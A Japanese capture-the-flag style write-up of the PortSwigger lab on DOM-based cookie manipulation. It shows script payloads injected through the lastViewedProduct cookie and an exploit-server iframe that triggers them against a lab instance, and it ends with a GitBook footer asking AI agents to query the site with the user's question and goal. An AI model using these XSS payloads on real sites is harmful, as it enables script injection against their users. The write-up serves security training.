> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/dom/dom-based-cookie-manipulation.md).

# DOMベースのCookie操作

PortSwigger Web Security Academy のラボ向けメモ。DOMベースのCookie操作に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### DOMベースのCookie操作

このラボでは、Cookieをクライアント側（DOM）で操作し、値を注入できることを示します `lastViewedProduct` Cookieです。この値を変更すると、別のページでコンテンツ実行（XSS）が発生し、 `print()` 関数を呼び出す可能性があります。悪用は、エクスプロイトサーバー経由で被害者を必要なページへ誘導することで行います。

* という名前のセッションCookieがあります `lastViewedProduct` これは、最後に閲覧した商品のリンクを含んでいます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36d2d0540f1e3c9731099d4edd90921822f63955%2F%7B472575CE-A517-4CD9-8FBF-39B54F2C26C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* ページ上には、「最後に閲覧した商品」セクションがあり、次のようなアンカーがあります `<a href=".../product?productId=1">最後に閲覧した商品</a>`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a494448d2178add2f3fd791944cbf8f2ad114f0%2F%7BAB74DE1F-9DE5-4422-8703-CF2DE098F4C0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 「最後のページ閲覧」として保存された値を変更すると、表示されるリンクをHTML/JSとして解釈できます。
* Cookieの値を外部URL（`https://jord4n.pro`）に置き換えると、そのリンクはこのサイトへリダイレクトします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb2d1a3728f0e27028f867c7ca64d8befae12a0f%2F%7B4B4BBFEA-AF87-4629-B241-2623CF31F710%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

の挿入により `JavaScript:print()` が値に含まれていると、このコンテキストでブラウザに解釈されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a18c40aa02357f1c4565c736da9b624e273d13ee%2F%7BBEE27B3D-6CE4-443D-A42D-9C8045F1087B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* HTMLを含むペイロードを注入することで、たとえば `productId=1&'><h1>TEST</h1>`、コンテンツがレンダリングされます。

{% code overflow="wrap" %}

```html
<a href="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1">最後に閲覧した商品</a>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3b88951a0b1f8f2b876bf32cad1ca341c967ff%2F%7B300C232B-B69B-413A-9A59-184840499D71%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次のようなスクリプトペイロード `productId=1&'><script>print()</script>` も解釈され、実行されます `print()`.

```
productId=1&'><script>print()</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfbb4ff2d46f45101875487647e5c3efe8ac0b8c%2F%7B9AFEBFB1-F361-4A70-80D1-1A4716ABB890%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. 被害者をその `lastViewedProduct` Cookieに、注入を含む値を保存します（この値の保存には商品ページを使用します）。
2. 次に、被害者をホームページ（または「最後に閲覧した商品」を表示するページ）へ誘導し、整形不良な値が返されてスクリプトが実行されるようにします（`print()`).
3. エクスプロイトサーバーを使って、商品ページ（Cookieを書き込む）へリダイレクトさせ、その後Cookieが表示されるページへ誘導します。

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x){this.src='https://0a73004204b35bb980b9218200c90043.web-security-academy.net/'; window.x=1;}"></iframe>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b109e12396eb114e843e97d8f606e98c19d2ed46%2F%7B9257C3B5-3544-4697-9B4B-C2DBA4B0441E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/dom/dom-based-cookie-manipulation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
